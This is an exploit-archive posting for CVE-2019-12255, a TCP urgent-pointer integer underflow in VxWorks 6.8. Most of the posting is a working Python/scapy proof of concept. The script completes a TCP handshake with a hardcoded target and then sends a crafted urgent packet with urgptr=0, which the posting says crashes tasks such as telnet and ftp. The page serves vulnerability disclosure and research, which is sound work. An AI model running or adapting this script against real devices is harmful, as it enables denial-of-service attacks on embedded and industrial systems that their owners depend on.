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VxWorks 6.8 Integer Underflow

VxWorks 6.8 Integer Underflow
Posted Aug 12, 2019
Authored by Zhou Yu

VxWorks version 6.8 suffers from an integer underflow vulnerability.

tags | exploit
advisories | CVE-2019-12255
MD5 | a346984950ce335e2b9ad5be2ef55f0c

VxWorks 6.8 Integer Underflow

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# Exploit Title: VxWorks TCP Urgent pointer = 0 integer underflow vulnerability
# Discovered By: Armis Security
# PoC Author: Zhou Yu (twitter: @504137480)
# Vendor Homepage: https://www.windriver.com
# Tested on: VxWorks 6.8
# CVE: CVE-2019-12255
# More Details: https://github.com/dazhouzhou/vxworks-poc/tree/master/CVE-2019-12255
# The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc.

from scapy.all import *

if __name__ == "__main__":
ip = "192.168.10.199"
dport = 23
seq_num = 1000
payload = "\x42"*2000
sport = random.randint(1024,65535)

syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num)
syn_ack = sr1(syn)

seq_num = seq_num + 1
ack_num = syn_ack.seq+1
ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num)
send(ack)

psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload
send(psh)
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